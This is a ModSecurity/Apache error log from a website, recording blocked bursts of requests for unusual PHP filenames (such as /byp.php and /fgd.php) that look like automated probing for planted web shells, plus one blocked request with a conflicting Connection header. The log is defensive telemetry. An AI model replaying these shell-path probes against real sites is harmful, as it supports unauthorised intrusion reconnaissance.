[Sun Jan 04 22:17:33.817333 2026] [:error] [pid 48667:tid 48707] [client 4.241.234.12:17481] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "aVp2fXO6aihVIlrNAPj47wAAAQo"]
[Sun Jan 04 22:17:34.102329 2026] [:error] [pid 30985:tid 31016] [client 4.241.234.12:17479] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aVp2fkisiM0XfzVcTWC06gAAAcI"]
[Sun Jan 04 22:17:34.432742 2026] [:error] [pid 48667:tid 48716] [client 4.241.234.12:15236] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aVp2fnO6aihVIlrNAPj48QAAARM"]
[Sun Jan 04 22:17:34.744890 2026] [:error] [pid 43583:tid 43606] [client 4.241.234.12:15614] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aVp2fuZbrSRUiJ-RX9ZC6QAAAVE"]
[Sun Jan 04 22:17:35.032618 2026] [:error] [pid 43583:tid 43603] [client 4.241.234.12:15591] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aVp2f-ZbrSRUiJ-RX9ZC6gAAAU4"]
[Sun Jan 04 22:17:35.362752 2026] [:error] [pid 45950:tid 45999] [client 4.241.234.12:15036] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVp2f1x-3HUGZIlAI-5STAAAA5E"]
[Sun Jan 04 22:17:35.735453 2026] [:error] [pid 48633:tid 48659] [client 4.241.234.12:15114] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVp2f3pmEoQIuLH2aWhIfwAAAFg"]
[Sun Jan 04 22:17:36.123106 2026] [:error] [pid 45950:tid 45988] [client 4.241.234.12:15288] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVp2gFx-3HUGZIlAI-5STQAAA4Y"]
[Sun Jan 04 22:17:36.448094 2026] [:error] [pid 29351:tid 29407] [client 4.241.234.12:15017] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aVp2gJtGiMsRmNcKXvpH3QAAAtc"]
[Sun Jan 04 22:17:36.809499 2026] [:error] [pid 29351:tid 29390] [client 4.241.234.12:15140] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aVp2gJtGiMsRmNcKXvpH3gAAAsY"]
[Sun Jan 04 22:17:37.114261 2026] [:error] [pid 29351:tid 29405] [client 4.241.234.12:15020] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aVp2gZtGiMsRmNcKXvpH3wAAAtU"]
[Sun Jan 04 22:17:37.522976 2026] [:error] [pid 48667:tid 48700] [client 4.241.234.12:15023] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aVp2gXO6aihVIlrNAPj49gAAAQM"]
[Sun Jan 04 22:17:37.838259 2026] [:error] [pid 48727:tid 48757] [client 4.241.234.12:15595] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aVp2gfgJtUs-E_QT0iba0wAAA0A"]
[Sun Jan 04 22:17:38.228433 2026] [:error] [pid 48633:tid 48638] [client 4.241.234.12:14992] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "aVp2gnpmEoQIuLH2aWhIgQAAAEM"]
[Sun Jan 04 22:17:38.503686 2026] [:error] [pid 42666:tid 42705] [client 4.241.234.12:15584] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "aVp2gvc221c7vwWrOjcVyQAAAwg"]
[Sun Jan 04 22:17:38.809174 2026] [:error] [pid 43583:tid 43600] [client 4.241.234.12:15083] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "aVp2guZbrSRUiJ-RX9ZC7AAAAUs"]
[Sun Jan 04 22:17:39.059525 2026] [:error] [pid 48633:tid 48643] [client 4.241.234.12:15050] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "aVp2g3pmEoQIuLH2aWhIhAAAAEg"]
[Sun Jan 04 22:17:39.530769 2026] [:error] [pid 48633:tid 48642] [client 4.241.234.12:15100] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVp2g3pmEoQIuLH2aWhIhwAAAEc"]
[Sun Jan 04 22:17:39.843602 2026] [:error] [pid 45950:tid 45984] [client 4.241.234.12:15057] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVp2g1x-3HUGZIlAI-5SUAAAA4I"]
[Sun Jan 04 23:13:40.062557 2026] [:error] [pid 50288:tid 50352] [client 43.130.15.147:59036] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVqDpK_n0RHxRx0wErHViAAAA8g"]
[Mon Jan 05 00:41:08.929010 2026] [:error] [pid 22540:tid 22591] [client 20.42.211.204:53800] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVqYJDQAa5AoSeJHBNp2rwAAABE"]
[Mon Jan 05 00:41:09.455231 2026] [:error] [pid 7716:tid 7727] [client 20.42.211.204:44330] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVqYJTZZYbEubuUOjjbZ8wAAAkQ"]
[Mon Jan 05 00:41:09.894759 2026] [:error] [pid 6937:tid 6979] [client 20.42.211.204:12222] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVqYJQfTYSkMJzNSH4VWtgAAAUo"]
[Mon Jan 05 00:41:10.019216 2026] [:error] [pid 22541:tid 22621] [client 20.42.211.204:40361] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVqYJkkjzS6tgkL3JEunOAAAAhQ"]
[Mon Jan 05 00:41:10.062045 2026] [:error] [pid 7716:tid 7731] [client 20.42.211.204:40321] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVqYJjZZYbEubuUOjjbZ9AAAAkc"]
[Mon Jan 05 00:41:10.123090 2026] [:error] [pid 7155:tid 7165] [client 20.42.211.204:44295] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVqYJiD_CRsWjWrSXNI9CgAAAYg"]
[Mon Jan 05 00:41:10.181314 2026] [:error] [pid 6613:tid 6627] [client 20.42.211.204:50304] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVqYJsW2a9pc2Efh4D39DAAAAQw"]
[Mon Jan 05 00:41:10.399162 2026] [:error] [pid 7155:tid 7172] [client 20.42.211.204:53821] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVqYJiD_CRsWjWrSXNI9CwAAAY8"]
[Mon Jan 05 00:41:10.706057 2026] [:error] [pid 1221:tid 1269] [client 20.42.211.204:34630] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVqYJp_3f4CdEKVLTXUDhgAAAI4"]
[Mon Jan 05 00:41:10.837543 2026] [:error] [pid 7155:tid 7180] [client 20.42.211.204:40325] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVqYJiD_CRsWjWrSXNI9DQAAAZc"]
[Mon Jan 05 00:41:10.913580 2026] [:error] [pid 7155:tid 7159] [client 20.42.211.204:50776] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVqYJiD_CRsWjWrSXNI9DgAAAYI"]
[Mon Jan 05 00:41:11.138775 2026] [:error] [pid 6613:tid 6638] [client 20.42.211.204:50755] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aVqYJ8W2a9pc2Efh4D39DQAAARc"]
[Mon Jan 05 00:41:11.817885 2026] [:error] [pid 7155:tid 7168] [client 20.42.211.204:40352] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVqYJyD_CRsWjWrSXNI9DwAAAYs"]
[Mon Jan 05 00:41:12.151373 2026] [:error] [pid 6613:tid 6625] [client 20.42.211.204:40338] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVqYKMW2a9pc2Efh4D39DgAAAQo"]
[Mon Jan 05 00:41:12.320144 2026] [:error] [pid 22541:tid 22607] [client 20.42.211.204:44334] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVqYKEkjzS6tgkL3JEunOgAAAgY"]
[Mon Jan 05 00:41:12.352605 2026] [:error] [pid 22540:tid 22580] [client 20.42.211.204:53795] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aVqYKDQAa5AoSeJHBNp2sQAAAAY"]
[Mon Jan 05 00:41:12.396755 2026] [:error] [pid 7716:tid 7726] [client 20.42.211.204:12167] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVqYKDZZYbEubuUOjjbZ9QAAAkM"]
[Mon Jan 05 00:41:12.431409 2026] [:error] [pid 22540:tid 22598] [client 20.42.211.204:53770] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVqYKDQAa5AoSeJHBNp2sgAAABg"]
[Mon Jan 05 00:41:12.509492 2026] [:error] [pid 7626:tid 7639] [client 20.42.211.204:40376] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVqYKFjhVzHrevQ2GQzbowAAAcA"]
[Mon Jan 05 00:41:12.541411 2026] [:error] [pid 6613:tid 6623] [client 20.42.211.204:53796] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kure.php"] [unique_id "aVqYKMW2a9pc2Efh4D39DwAAAQg"]
[Mon Jan 05 00:41:12.595086 2026] [:error] [pid 7716:tid 7747] [client 20.42.211.204:53793] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVqYKDZZYbEubuUOjjbZ9gAAAlc"]
[Mon Jan 05 00:41:12.702825 2026] [:error] [pid 7716:tid 7732] [client 20.42.211.204:12193] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVqYKDZZYbEubuUOjjbZ9wAAAkg"]
[Mon Jan 05 00:41:12.747471 2026] [:error] [pid 7716:tid 7742] [client 20.42.211.204:40363] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVqYKDZZYbEubuUOjjbZ-AAAAlI"]
[Mon Jan 05 00:41:12.899804 2026] [:error] [pid 6937:tid 6963] [client 20.42.211.204:50319] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVqYKAfTYSkMJzNSH4VWuAAAAUE"]
[Mon Jan 05 00:41:13.029867 2026] [:error] [pid 6937:tid 6988] [client 20.42.211.204:44322] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVqYKQfTYSkMJzNSH4VWuQAAAVM"]
[Mon Jan 05 00:41:13.214574 2026] [:error] [pid 6937:tid 6987] [client 20.42.211.204:44323] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVqYKQfTYSkMJzNSH4VWugAAAVI"]
[Mon Jan 05 00:41:13.284200 2026] [:error] [pid 22541:tid 22603] [client 20.42.211.204:34643] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVqYKUkjzS6tgkL3JEunOwAAAgI"]
[Mon Jan 05 00:41:13.347011 2026] [:error] [pid 7626:tid 7643] [client 20.42.211.204:53813] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVqYKVjhVzHrevQ2GQzbpAAAAcQ"]
[Mon Jan 05 00:41:13.394014 2026] [:error] [pid 22540:tid 22588] [client 20.42.211.204:50338] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "aVqYKTQAa5AoSeJHBNp2swAAAA4"]
[Mon Jan 05 00:41:13.498027 2026] [:error] [pid 6937:tid 6965] [client 20.42.211.204:44306] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "aVqYKQfTYSkMJzNSH4VWuwAAAUM"]
[Mon Jan 05 00:41:13.582482 2026] [:error] [pid 22540:tid 22597] [client 20.42.211.204:12185] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "aVqYKTQAa5AoSeJHBNp2tAAAABc"]
[Mon Jan 05 00:41:13.651968 2026] [:error] [pid 6613:tid 6631] [client 20.42.211.204:12203] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "aVqYKcW2a9pc2Efh4D39EAAAARA"]
[Mon Jan 05 00:41:13.764709 2026] [:error] [pid 7626:tid 7658] [client 20.42.211.204:50772] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "aVqYKVjhVzHrevQ2GQzbpQAAAdM"]
[Mon Jan 05 00:41:13.805526 2026] [:error] [pid 6613:tid 6619] [client 20.42.211.204:12161] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "aVqYKcW2a9pc2Efh4D39EQAAAQQ"]
[Mon Jan 05 00:41:13.899043 2026] [:error] [pid 6613:tid 6629] [client 20.42.211.204:44332] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "aVqYKcW2a9pc2Efh4D39EgAAAQ4"]
[Mon Jan 05 00:41:13.970950 2026] [:error] [pid 6937:tid 6970] [client 20.42.211.204:40346] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/msy.php"] [unique_id "aVqYKQfTYSkMJzNSH4VWvAAAAUc"]
